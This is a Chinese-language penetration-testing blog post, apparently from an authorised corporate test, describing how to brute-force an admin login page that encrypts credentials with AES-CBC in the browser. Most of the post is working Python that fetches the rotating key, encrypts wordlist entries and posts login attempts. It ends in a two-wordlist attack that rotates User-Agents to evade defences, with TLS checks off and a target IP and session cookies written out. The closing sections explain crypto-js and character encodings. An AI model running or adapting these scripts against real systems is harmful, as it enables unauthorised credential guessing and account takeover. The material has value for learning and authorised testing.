前言:
HW前期,某集團公司為加強安全建設,進行安全測試專案,滲透過程中發現很多問題,這裡不一一記錄。此文僅為記錄針對某處前端AES加密,使用python進行演算法實現,最後達到暴力破解的目的
0x01.分析
這是某人員檔案系統的登入後臺
我們檢視它的網頁原始碼,發現採用AES前端加密方法(估計是疫情期間臨時緊急搭建的平臺)
0x02.設計思路
到/a/k檔案中獲取當前時間的加密字串,作為key值(key每經過30s左右的時間就會更新一次),進入Encrypt函式進行加密
function Encrypt (text,key) {
let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
iv: CryptoJS.enc.Utf8.parse(key), #密碼:key;偏移量iv:key;字符集:utf8
mode: CryptoJS.mode.CBC, #AES加密模式:CBC
padding: CryptoJS.pad.Pkcs7 #填充:pkcs7padding
})
0x03.實現
第一步 請求key值:
import ssl
import urllib.request
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
text = data.read().decode('utf8')
print(text)
第二步 加密過程實現:
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def main():
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt('admin')
print(cipher_text)
if __name__ == '__main__':
main()
第三步 字典自動化加密過程實現
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(password):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(password)
print(cipher_text)
if __name__ == '__main__':
wordList = open('word.txt','r')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第四步 構造資料包,傳送網路請求
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(a):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(a)
brute(cipher_text)
# 暴力破解
def brute(value):
proxy = {
"https": "https://127.0.0.1:8080",
}
headers = {'Host': 'xx.xx',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '75',
'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
'Upgrade-Insecure-Requests':'1'}
values = 'username=%s' % value + '&password=%s' % value
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post('https://xx.xx/welcome.html', headers=headers, data=values, proxies=proxy,verify=False)
if __name__ == '__main__':
wordList = open('word.txt','r')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第五步:雙字典cluster bomb模式爆破
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 選擇pkcs7補全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(a,b):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text1 = cbc_cipher.encrypt(a)
cipher_text2 = cbc_cipher.encrypt(b)
brute(cipher_text1,cipher_text2)
# 暴力破解
def brute(value1,value2):
ua_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
proxy = {
"https": "https://127.0.0.1:8080",
}
ua = random.choice(ua_list)
headers = {'Host': '211.156.195.166',
'User-Agent': ua,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '75',
'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
'Upgrade-Insecure-Requests':'1'}
data = 'username=%s' % value1 + '&password=%s' % value2
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post('https://xx.xx/welcome.html', headers=headers, data=data, proxies=proxy,verify=False)
if __name__ == '__main__':
with open('user.txt','r') as userList:
with open('word.txt','r') as passList:
for username in userList.readlines():
for password in passList.readlines():
user = username.strip()
word = password.strip()
encrypted(username,word)
passList.seek(0)
# 記住這裡要將檔案重新移到檔案首,不然就會出現只執行外層迴圈的第一條,因為內層在迭代之後(readlines()是迭代器的形式,迭代一次後檔案指標就指到檔案尾了,迭代器也是end了,第二次就沒有password 在 passList中
# 也就是說 for password in passList.readlines():為空,所以這裡的內層迴圈就不會再被執行了,因此也就是迭代器清零的問題(C ++ itertor 常有)
成果截圖:
第六步 執行緒
:)加不加執行緒,取決於網站防護,當然,也屬個人愛好,由於手裡還有其他專案,這裡就不贅述了。
另:Github上有針對前端加密的自動化暴力破解的burp外掛jsEncrypter ,感興趣的可以去了解下,個人屬實沒玩明白,不做評價。
0x04.知識介紹
crypto-js AES加密知識
crypto-js 是一個純 javascript
寫的加密演算法類庫 ,可以非常方便地在 javascript
進行MD5
、SHA1
、SHA2
、SHA3
、RIPEMD-160
雜湊雜湊,進行 AES
、DES
、Rabbit
、RC4
、Triple DES
加解密,我們可以採用 npm install crypto-js --save
進行下載安裝,也可以直接去 GitHub下載原始碼~
高階加密標準(AES,Advanced Encryption Standard)為最常見的對稱加密演算法(微信小程式加密傳輸就是用這個加密演算法的)。對稱加密演算法也就是加密和解密用相同的金鑰,具體的加密流程如下圖:
值得注意的是金鑰的長度,由於對稱解密使用的演算法是 AES-128-CBC
演算法,資料採用 PKCS#7
填充 , 因此這裡的 key
需要為16位!
AES加密演算法詳情請參考:https://blog.csdn.net/qq_28205153/article/details/55798628
字符集、字元編碼知識
字元:在計算機和電信技術中,一個字元是一個單位的字形、類字形單位或符號的基本資訊。即一個字元可以是一箇中文漢字、一個英文字母、一個阿拉伯數字、一個標點符號等。
字符集:多個字元的集合。例如GB2312是中國國家標準的簡體中文字符集,GB2312收錄簡化漢字(6763個)及一般符號、序號、數字、拉丁字母、日文假名、希臘字母、俄文字母、漢語拼音符號、漢語注音字母,共 7445 個圖形字元。
字元編碼:把字符集中的字元編碼為(對映)指定集合中的某一物件(例如:位元模式、自然數序列、電脈衝),以便文字在計算機中儲存和通過通訊網路的傳遞。
字符集和字元編碼的關係 :
字符集是書寫系統字母與符號的集合,而字元編碼則是將字元對映為一特定的位元組或位元組序列,是一種規則。通常特定的字符集採用特定的編碼方式(即一種字符集對應一種字元編碼(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字符集又表示了對應的字元編碼,但Unicode不是,它採用現代的模型)),因此基本上可以將兩者視為同義詞。
字元編碼的常用種類介紹
第一種:ASCII碼
ASCII(American Standard Code for Information Interchange,美國資訊交換標準程式碼)是基於拉丁字母的一套電腦編碼系統,主要用於顯示現代英語和其他西歐語言。它是現今最通用的單位元組編碼系統,並等同於國際標準ISO/IEC 646。如下圖所示:
第二種:GBK 和 GB2312
對於我們來說能在計算機中顯示中文字元是至關重要的,然而ASCII表裡連一個偏旁部首也沒有。所以我們還需要一張關於中文和數字對應的關係表。一個位元組只能最多表示256個字元,要處理中文顯然一個位元組是不夠的,所以我們需要採用兩個位元組來表示,而且還不能和ASCII編碼衝突,所以,中國製定了GB2312編碼,用來把中文編進去。
第三種:Unicode
但這樣的話,就會出現一個問題,各個國家都一套自己的編碼,就不可避免會有衝突,這是該怎麼辦呢?
因此,Unicode應運而生。Unicode把所有語言都統一到一套編碼裡,這樣就不會再有亂碼問題了。
Unicode標準也在不斷髮展,但最常用的是用兩個位元組表示一個字元(如果要用到非常偏僻的字元,就需要4個位元組)。現代作業系統和大多數程式語言都直接支援Unicode。
現在,分析一下ASCII編碼和Unicode編碼的區別:
- ASCII編碼是1個位元組,而Unicode編碼通常是2個位元組。
- 字母A用ASCII編碼是十進位制的65,二進位制的01000001;
- 字元0用ASCII編碼是十進位制的48,二進位制的00110000;
- 漢字“中”已經超出了ASCII編碼的範圍,用Unicode編碼是十進位制的20013,二進位制的01001110 00101101。
- 如果把ASCII編碼的A用Unicode編碼,只需要在前面補0就可以,因此,A的Unicode編碼是00000000 01000001。
- 但如果統一成Unicode編碼,亂碼問題從此消失了。但是,如果你寫的文字基本上全部是英文的話,用Unicode編碼比ASCII編碼需要多一倍的儲存空間,在儲存和傳輸上就十分不划算。
第四種:UTF-8
基於節約的原則,出現了把Unicode編碼轉化為“可變長編碼”的UTF-8編碼。UTF-8編碼把一個Unicode字元根據不同的數字大小編碼成1-6個位元組,常用的英文字母被編碼成1個位元組,漢字通常是3個位元組,只有很生僻的字元才會被編碼成4-6個位元組。如果你要傳輸的文字包含大量英文字元,用UTF-8編碼就能節省空間了。如下所示:
從上面的表格還可以發現,UTF-8編碼有一個額外的好處,就是ASCII編碼實際上可以被看成是UTF-8編碼的一部分,所以,大量只支援ASCII編碼的歷史遺留軟體可以在UTF-8編碼下繼續工作。
我們總結一下現在計算機系統通用的字元編碼工作方式:
在計算機記憶體中,統一使用Unicode編碼,當需要儲存到硬碟或者需要傳輸的時候,就轉換為UTF-8編碼。
用記事本編輯的時候,從檔案讀取的UTF-8字元被轉換為Unicode字元到記憶體裡,編輯完成後,儲存的時候再把Unicode轉換為UTF-8儲存到檔案。如下圖:
0x05.說明
文章是寫程式碼之餘做筆記來的,略顯簡略粗糙。程式碼不夠精簡之處,請各位python巨佬多多指教,評論區多多留言,拜謝!
Reference
https://blog.csdn.net/qq_28205153/article/details/55798628
https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html